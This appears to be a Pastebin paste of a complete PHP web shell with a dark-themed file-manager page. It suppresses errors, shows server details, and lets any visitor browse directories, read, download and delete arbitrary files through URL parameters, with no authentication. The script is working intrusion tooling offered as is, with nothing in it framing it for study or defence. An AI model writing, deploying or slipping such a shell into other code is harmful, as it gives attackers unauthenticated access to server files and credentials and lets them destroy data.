Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php /******************************************************************
- / i'am like this
- 😘😘 ******************************************************************/ error_reporting(0);
- function getPermission($perm) {
- $res = '';
- for($i=0; $i<strlen($perm); $i++) { switch ($perm[$i]) {
- case '7':$res .= 'rwx';
- break;
- case '6':
- $res .= 'rw-';
- break;
- case '5':
- $res .= 'r-x';
- break;
- case '4':
- $res .= 'r--';
- break;case '3':
- $res .= '-wx';
- break;case '2':
- $res .= '-w-';
- break;
- case '1':
- $res .= '--x';
- break;
- }
- }
- return $res;
- }
- function getContent($path) { $available_dir = array(); foreach(scandir($path) as $dir) { array_push($available_dir, $dir);
- }
- return $available_dir;
- }
- function changeDir($dest_dir) {
- $dir_move = chdir($dest_dir);
- return getcwd();
- }
- function downloadFile($file) {
- ob_clean();
- header('Content-Description: File Transfer');
- header('Content-Type: application/octet-stream');
- header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Expires: 0');
- header('Cache-Control: must-revalidate'); header('Pragma: public');
- header('Content-Length: ' . filesize($file));
- readfile($file);
- exit;
- }
- ?> <!DOCTYPE html> <html> <head> <title>u</title> <style> * { margin: 0; padding: 0; } body { font-family: consolas,"DejaVu Sans Mono"; font-size: 14px; background-color: #111; color: #fff; } .container { width: 100%; overflow: hidden; } .info { width: 98%; margin: 1% auto; font-size: 12px; border: 1px solid #999; margin-bottom: 1%; } .main { width: 98%; margin: 0 auto; font-size: 12px; margin-bottom: 2%; } .view { width: 100%; padding-top: 20px; padding-bottom: 30px; margin: 10px auto; border: 1px solid #fff; color: #fff; overflow: hidden; } tr:hover { background-color: #333; } </style> </head> <body> <div class="container"> <div class="info">
- <?= php_uname(); ?><br> PHP Version : <?= phpversion(); ?><br> IP Server : <?= $_SERVER['SERVER_ADDR']; ?> | Your IP : <?= $_SERVER['REMOTE_ADDR']; ?> </div> <div class="main"> <span style="margin-bottom: 5px; display: block;color: lime;">dir : <?= isset($_GET['dir']) ? changeDir($_GET['dir']) : getcwd(); ?></span> <div class="dir"> <?php $currentPath = isset($_GET['dir']) ? changeDir($_GET['dir']) : getcwd(); switch($_GET['act']){ case 'dl': downloadFile($_GET['file']); break; case 'view': echo '<br><span style="margin-bottom: 5px; display: block;color: blue;">file : '.$_GET['file'].'</span> <div class="view"><pre>'.htmlentities(file_get_contents($_GET['file'])).'</pre></div>'; break; case 'del': (unlink($_GET['file']) ? header('location:http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'?dir='.$currentPath.'') : ""); break; default: echo '<table class="dirinfo"> <tr> <th width="400px">name</th> <th width="200px">type</th> <th width="200px">owner</th> <th width="200px">permission</th> <th width="200px">act</th> </tr>'; foreach(getContent($currentPath) as $dir) { $link = (is_dir($dir)) ? '?dir=' : '?file='; $slash = (is_dir($dir)) ? '/' : ''; $type = (is_dir($dir)) ? 'directory' : ''; $action = (is_dir($dir)) ? '' : "<a href='".$link.getcwd()."/".$dir.$slash."&act=dl' style='color:#aaa;text-decoration:none;margin-left:1px;margin-right:2px;'>download </a><a href='".$link.getcwd()."/".$dir.$slash."&act=view' style='color:#aaa;text-decoration:none;margin-left:1px;margin-right:2px;'> view </a><a href='".$link.getcwd()."/".$dir.$slash."&act=del' style='color:#aaa;text-decoration:none;margin-left:1px;margin-right:2px;'> delete </a>"; echo "<tr> <td><a href='".(is_dir($dir) ? $link.getcwd()."/".$dir.$slash : $link.getcwd()."/".$dir.$slash."&act=view")."'>".$dir."</a></td> <td><center>".mime_content_type($dir)."</center></td> <td><center>".posix_getpwuid(fileowner($dir))['name'].":".posix_getpwuid(filegroup($dir))['name']."</center></td> <td><center>".getPermission(decoct(fileperms($dir) & 0777))."</center></td> <td><center>".$action."</center></td> </tr>"; } break; } ?> </table> </div> </div> </div> </body> </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement